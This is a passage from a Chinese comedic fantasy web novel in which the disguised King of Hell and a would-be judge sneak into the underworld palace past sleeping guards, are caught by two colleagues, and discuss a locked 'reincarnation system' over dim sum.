要不就说秦总没道理让两个不靠谱的看门,而一点准备工作都不做。
“……”
“就没有一点办法了?”阎璟不甘心。
“先回去,办法慢慢想。”白念生拉着人,“不然,你老在外面晃,容易被人发现。”
两人重新回到白念生摇摇欲坠的茅草小屋。
白念生鞋子一拖,麻利钻进被窝,被窝里的暖气还在,舒服的叹了口气。
阎璟则是面无表情坐在床边,盯着窗外的地府永恒的夜色,看着时不时一两个幽幽的鬼火飘荡在窗口。
白念生看了他一眼,叹了口气,转过身闭眼睡去了。
直到后半夜,地府进入深眠时分,万籁俱寂。
阎璟倏地一下站了起来。
他盯着窗外那高耸入云的阎王殿,眼神渐渐坚定。
然后转过身,也不管白念生睁没睁开眼,直接把人从温暖的被窝里提溜起来,三下五除二套上鞋,拖着人再次往大殿走去。
就不信邪!
就不信这世上还有人比他更邪!
事实证明,后半夜确实适合干点偷鸡摸狗的事。
两人摸到大殿门口时,牛头马面果然已经陷入了深眠状态。
一个靠在石狮子上,脑袋歪到一边,口水都快流下来了,另一个直接坐在地上,背靠殿门,鼾声如雷。
秦广王真是给他找了两个特别“敬业”的门神!
阎璟盯着那结界。
又能怎样。
今天他非得进去不可!
没道理,在自己家门口被困住,传出去他名声要不要了。
白念生揉着惺忪睡眼,懒洋洋打了个哈欠,满脸生无可恋,“真去啊?大哥,凌晨四点,正是睡回笼的好时候……”
阎璟没理他,直接伸手扒开他的眼皮,强迫他清醒过来。
然后侧身,压低声音,“正门容易吵醒他们,那边有个侧门,咱们悄摸从那儿进去。”
“你怎么知道那边有侧门?”白念生迷迷糊糊跟着他走两步,突然反应过来,嘀嘀咕咕,“再说,有侧门也有结界。”
阎璟不理他,直接拽着他往边上狗洞?哦不对,侧门走去。
白念生迷迷糊糊再次发出疑问:“你怎么知道这边?”
阎璟不好意思挠挠头,心虚道:“我……我刚刚趁你睡觉时,偷偷过来踩过点。”
“不是让你别乱跑嘛!被发现会下十八层地狱的。”
“我很小心。”
两人说说闹间便到了跟前,白念生这下彻底清醒过来。
盯着那只到他膝盖高的小拱门,眼珠子差点瞪出来。
“你……你管这玩意叫侧门?!”
那拱门精致是精致,雕花描金的,但问题是,它只有白念生膝盖那么高。
别说人了,稍微壮实点的狗过去都得低头。
阎璟心虚地别开眼,摸摸鼻子,弱弱地解释,“能走……把身形化小就能走了。”
“你让我冥界地府未来的判官大人……钻、狗、洞?!”白念生声音带着哭腔,像是受了天大的委屈,未来判官大人的尊严碎了一地。
阎璟心里疯狂吐槽,我特么堂堂冥界地府司掌三界生死存亡的最高执法人,不也在这儿陪你钻吗!
我都没哭你哭什么!
但他不敢说出来,只能憋着,还得哄着,“那个……要不换个思路?”
“什么思路?”
“你不是有判官笔吗?先放它进去把结界开个口子,万一能行呢?”
白念生眼睛一亮,瞬间阴转晴,“好想法!值得一试!”
于是,他掏出判官笔,对着那小拱门念念有词。
判官笔跟长了腿似的,先是跟条蚯蚓一样,蛄蛹着身子,费劲巴拉地穿过结界。
然后大摇大摆走过侧门。
走到一半,笔身突然悬停,然后开始旋转,越转越快。
一道幽幽蓝光闪烁,结界啵的一声破开个口子。
随之侧门也跟着变大。
大到至少能容
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纳一个人进去。
“走!”白念生拉着阎璟就往里钻。
两人一前一后刚挤进去,身后的结界就“啪”地合上了,那速度,快准狠,但凡是条狗,慢上一慢,狗尾巴都会被夹断。
白念生拍拍胸脯,长长呼出一口气。
阎璟也拍拍胸脯,嘴角上扬。
两人对视一眼,默契地举起手。
“啪!”
无声的击掌,大成功!
然后白念生抬头,望着眼前高耸入云的宫殿,陷入了沉思,“……这么大,怎么找?”
阎璟抬手指向最高处,“那儿。”
白念生狐疑地瞅他一眼,“你怎么这么熟?”
阎璟被盯得心里发虚,眼神乱飘,“别看我,电视剧里都这么演的!最高贵的人都住最高的地方,这叫艺术源于生活!”
白念生收回目光,懒得跟他计较,拽住阎璟的手,提气,腾身而起。
两人沿着多重殿宇飞跃而上,风从耳边呼啸而过,脚下是层层叠叠的宫殿,灯火如豆,寂静无声。偶尔有巡逻的鬼差经过,两人便屏息躲进阴影里,等鬼差走远再继续往上。
直到落在最高处的大殿之上时,白念生才松一口气。
阎璟忽然顿住脚步,他站在殿前,俯瞰脚下众生,俯视三界。
恍惚间,一种奇异的感觉涌上心头,明明他离开也没多长时间,心境居然不一样了,有种久违回家的感觉。
“别看了,赶紧找老大的画像。”白念生拽着他直奔里间。
阎璟被拽得一个踉跄,满脸无语,“……我们是来干正事的。”
白念生头也不回,理直气壮,“你干你的正事,我干我的正事!”
“……”
相对于白念生弯腰驼背做贼心虚的小人行径,阎璟走路那叫一个坦荡,轻车熟路直奔书房。
白念生则兴致勃勃地每个房间四处乱窜,看着墙上挂着几幅山水图,凑过去看了半天,品头论足一番,然后失望地叹气。
上鬼子当了,这里压根没有阎王大人的画像。
书房内,阎璟已经找到了能连通六道轮回系统的玉简。
只要用自己的身份登录上去,利用玉简输入密钥修复云端数据,人间界那点小问题就能迎刃而解。
“白念生,你来看看,这个东西你能不能……”阎璟声音不大,只能说是正常说话。却被白念生打断。
“阎小璟,你能不能弯点身子,别这么坦荡,我们这是在哪里,你不知道吗?”
“……”阎璟被他数落一通,无奈地弯下腰,压低身子,跟着他一起缩着脖子,贼的似的,“行行行,我弯腰,我做贼,这下够符合气氛了吧?”
“这还差不多!”
阎璟:“……”
两人话音未落。
“吱呀——”门外传来推门声。
白念生心脏骤停,浑身僵硬地转过头。
逆着光,看不清来人的脸,只依稀看得出是个男人的轮廓,修长挺拔,气场却强得惊人,正在往里面来。
阎璟倒是不怎么怕,甚至下意识想伸头往外瞅瞅是谁。
白念生眼疾手快,一把薅住他后脖领子,直接拖进了书房的书架后面。
下一秒,一只手精准地捂住了阎璟的嘴。
61. 寻找阎王大人之旅
阎璟睁大眼睛,瞪着白念生,用手硬掰了两下没掰开。白念生一边加大力度,一边用眼神警告他:别出声!
阎璟用眼神回瞪:我知道!
白念生这才放开手,阎璟揉揉腮帮子,心想这崽子力气还挺大。
两人默契地对视一眼,小心翼翼趴在书架上,透过书架的缝隙伸头往外看。
来人终于走进光里,是秦广王。
白念生瞳孔地震,差点没站稳,这座大神没事来这干嘛?
阎璟倒没太大反应,只是默默放松了身体。
秦广王先是整理书案上的书籍,随后老态龙钟地走到太师椅前,缓缓坐下来,手里捏着一块彼岸花做的饼干,唉声叹气。
没一会儿,一个鬼侍悄无声息地出现在他身后。
书架后面的两人同时眼睛一亮,这鬼侍有点东西,走路连个响动都没有。
只听秦广王幽幽开口,“你说,阎王大人为什么把彼岸花饼干退回来?他以前最喜欢吃了。”
阎璟默默转过头。
谁最喜欢吃了?
他明明最不喜欢吃。那玩意儿又干又硬,还带着一股说不清的苦味。
只是当年见秦广王那张和蔼可亲的脸,跟哄孩子似的,端着饼干凑过来非要他尝一下,他是实在不忍心拂了他的好意,才勉为其难咬了一口。
就一口。
记了上百年。
这老头儿,记性怎么尽用在这种地方?
“秦总,”鬼侍恭敬道,“上次回来的小鬼汇报说,老大现在在人间应该过得还不错,您老就甭担心了。”
秦广王叹口气,满脸慈父忧心之色,“你不懂,那孩子,最让人不放心。一千年了,也没出过门,上次好不容易出去一趟,回来跟受了惊的小猫似的,躲在殿里好几个月不肯出来。若不是我去劝他,哎……!这次出门,不知道会不会又给他身心造成什么伤害……”
白念生听得一愣一愣的。
等等。
听他那语气,阎王大人……还是个孩子?他的老大!他的偶像,居然是个孩子?!
阎璟低着头,一言不发。
他当然知道自己为什么躲,不是因为其他,是因为……因为他用尽方法,也无法救回那个孩子。那一刻,他的自责,他的懊悔,把他压得喘不上气来。
可此刻听着秦广王这番话,心里忽然涌上一股说不清的滋味。
他一直以为秦广王只是把他当上司,当主子,当那个高高在上的阎王大人。
却不知道,在他看不见的地方,这个老臣是这样惦记着他的。
“秦总,这次人间分部和总部的战略部署,需要您敲定,老大不在,还需要你拿主意。”
秦广王摆摆手,道:“有什么难的,之前没有那个破系统,也照样能活,按照老方法,把十大阴差全安排出去。”
“好的。”
“阎王大人不在,我有义务替他守好地府。”秦广王的语气是那么坚定不移,忽然,鼻子嗅了嗅,顿了顿,“我怎么闻到了阎王大人的气息。”
那鬼侍四周看了看,哪里来的人,“秦总想必思念过度,产生了错觉。”
“可能吧!”
闻言,书架后阎璟垂下眼,轻轻叹了口气,惹得白念生又瞪他一眼,再次眼神警告。
阎璟慌忙点头,然后一转头,差点当场去世。
因为冷樾就站在他身后。
???阎璟瞳孔地震,差点惊呼出声。
冷樾眼疾手快,一只手已经快速捂住了他的嘴,另一只手按在他肩膀上,把人钉在原地,防止动作太大,暴露位置。
阎璟满眼震惊,眼神里写着,你怎么来的?!你不是在公司吗?!你不是普通人嘛?你怎么进来的?
虽然没人回答他,但他自己也找到了答案,因为在冷樾身后,还站着面无表情的云为衫。
白念生眼神一颤,眼睛瞪得跟铜铃似的。赶紧自己捂住了自己的嘴,压根不用云为衫出手,生怕发出一点声音。
四个人,就这么硬生生挤在最里面那个一个小书架后面。
云为衫往外看了一眼,抬手轻轻一挥。
下一秒,四人原地消失。
再次睁眼,几人已经到了冷樾的办公室。
白念生踉跄了两步才站稳,扶着办公桌缓了缓,云为衫这霸道的传送术,跟坐过山车似的。“你知道不知道稳字怎么写?”
云为衫照着他的屁股,直接上脚招呼。
“你们怎么来了?”阎璟惊魂未定,望着云为衫和冷樾,顿时有点心虚,眼神开始四处乱飘。
云为衫漫不经心,语气淡淡的,“我们不来,你们是打算造反啊?那是什么地方,你们不知道?你们老大的地盘,也敢闯?”
白念生自知理亏,低头不语,不停绕手指。
阎璟偷偷看了一眼冷樾,似有似无的陪着笑脸,“呃,如果我说我不是故意的,你信吗?”
这两个人什么态度,他都还没生气呢!这两人把他寝殿当什么了?跟入无人之境一样,说来就来,说走就走。
秦广王那个所谓的结界,对他们来说,简直如同虚设!
冷樾的目光在两人脸上来回扫视,身体往后面桌案上一靠,沉声问道,“谁的主意?”
这语气,果然不善呐!
阎璟和白念生两人心里都开始犯嘀咕,按照以往来说,是兄弟就该有事一肩挑,可面对冷樾,阎璟心里没由来的发怵。
阎璟这个正牌男友都发怵,更别说白念生这个屁都不是的下属。
阎璟扭头看看白念生,白念生同时看看阎璟。
两人几乎同时伸手指向对方,异口同声:
“是他!”
“是他!”
云为衫在旁边,眉毛一挑,吹个流氓哨,端着茶杯往沙发上一坐,一副看好戏的态度。
阎璟快人一步,坚定的望着冷樾,“是他带我去的地府!我都不认识路!”
白念生气笑了,指着阎璟,“是他要去老大的寝殿!我已经极力阻止过他了!我说那里有结界,他说没事,我说有守卫,他说走侧门,结果你跟我说那叫侧门?那就是狗洞!”
阎璟:“那就是侧门,上面还有门联呢!”
白念生:“哎呦好厉害!有本事你把那门联写出来。”
“写就写!走,出去写!”
“走啊!”
说话间,两人默契拉扯着往门外退,然后两人同时一抬头,冷樾正死死盯着他们。
冷樾瞅了一眼白念生,又转过头看看阎璟,阎璟被他盯得心里发毛,一时不敢言语。
云为衫在一旁给自己续了杯茶,看戏看得津津有味。
阎璟急了,回念一想,赶紧推开白念生,“明明是你要找你老大的画像的!”
白念生更急,“明明是你先说要去找什么东西,还带我走侧门!而且,你管那叫侧门,那不是侧门,那是狗洞!我白念生堂堂……算了我不说了,我钻狗洞,我丢人!”
半天,话题又扯回来了,“我说是侧门就是侧门!”
“你……!”
冷樾终于开口,语
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气淡淡,多有无奈,“行了,别演了,累不累。”
两人同时闭嘴,同时低下头。
“天色不早了,各回各家吧!”冷樾不想跟两个活爹争辩什么,毕竟智力不在同一水平上,再吵下去他们能把办公室屋顶掀了。
云为衫指了指窗外,地平线的朝阳已缓缓升起,“还回什么呀,准备准备上班吧!”
天光爬上窗台的玻璃,先是暖红的,渐渐透出白光,慢慢变得亮堂起来。
“咕噜噜……”阎璟昨晚就没吃什么东西,这会肚子已经开始抗议,咕噜的一声,在安静的办公室里格外响亮。
冷樾叹了口气,饿着谁也不能饿着阎王大人,“那先吃饭去吧!”
“你没生气?”阎璟试探性地问了一句。
“没有。”
白念生接过话来,声音一下子就大了起来,“那你刚刚这么吓我们。”
闻声,云为衫把茶杯往桌上一放,“啪”地一声,“也是,冷樾你怎么能吓唬他们,太过分了!应该吊起来打一顿才对!”
白念生缩缩脖子不说话了。
见人已老实不嚷嚷,云为衫才站起身来,“那走吧!两位小祖宗!先祭五脏庙去。”
好在公司旁边那栋大厦楼下有家港式早餐店,环境优美,味道不错,开门也早。
而且这个点,店里人并不多,只有几张靠窗的雅座,零星坐着几个老太太老大爷来吃早点,慢悠悠地翻着报纸。
冷樾牵着阎璟,把人带到靠后排靠窗的位置,按他平时的口味,点了虾饺和豉汁蒸排骨。
白念生刚坐下,就跟不要命一样,拿过菜单一通狂点,烧麦榴莲酥牛仔骨凤爪流沙包……凡是他看着顺眼的,全点了个遍。
服务员拿着菜单,手都在抖,“先生,您确定……这些都要?”
“都要。”白念生大手一挥,豪气万丈。
阎璟看着服务员端上来的盘子越来越多,眼睛都直了,发出疑问,“吃得完吗?”
白念生瞥了冷樾一眼,语气里还带着刚刚这人吓唬自己的仇,撂下狠话,“我要吃穷你男人。”
阎璟被他的话噎住,反驳也不是,不反驳也不是。顿时耳根发烫,不好意思地低下头,假装什么都没听见。
冷樾倒是被这三个字取悦了,第一次对白念生这么包容,“敞开吃,我请客。”
阎璟:“……”
于是,服务员又端上来两笼烧麦。
“话说你们去阎王殿干嘛去了?”云为衫夹起一块榴莲酥,随口问道。
“找画像。”白念生言简意赅,嘴里塞着烧麦,含糊不清。
阎璟沉默不语,只顾低头专心吃饭。
白念生跟着云为衫的口味,夹了一块榴莲酥,咬了一口。
云为衫说:“我跟冷樾昨天查了一天,技术部内鬼已经确定。”
阎璟并不意外,白念生更不意外,他甚至能猜出是谁。
果然接下来的话是:“最后查出来,确实是莫职的一通骚操作,才导致轮回系统彻底锁死。这老小子,早有预谋的。”
云为衫咽下榴莲酥,“不过,公司也跟上面报备过,需要总部和人间界两方配合才行。”
阎璟心想,你们总算知道从总部那边下手了,之前查来查去查了个寂寞。
“可惜总部那边的云端数据需要阎王大人的权限才能打开!”云为衫继续说:“所以,现在最重要的任务来了,人间界东南西北四个大区,寻找阎王大人之旅,正式启动。”
话音刚落,阎璟一口水全喷了出来。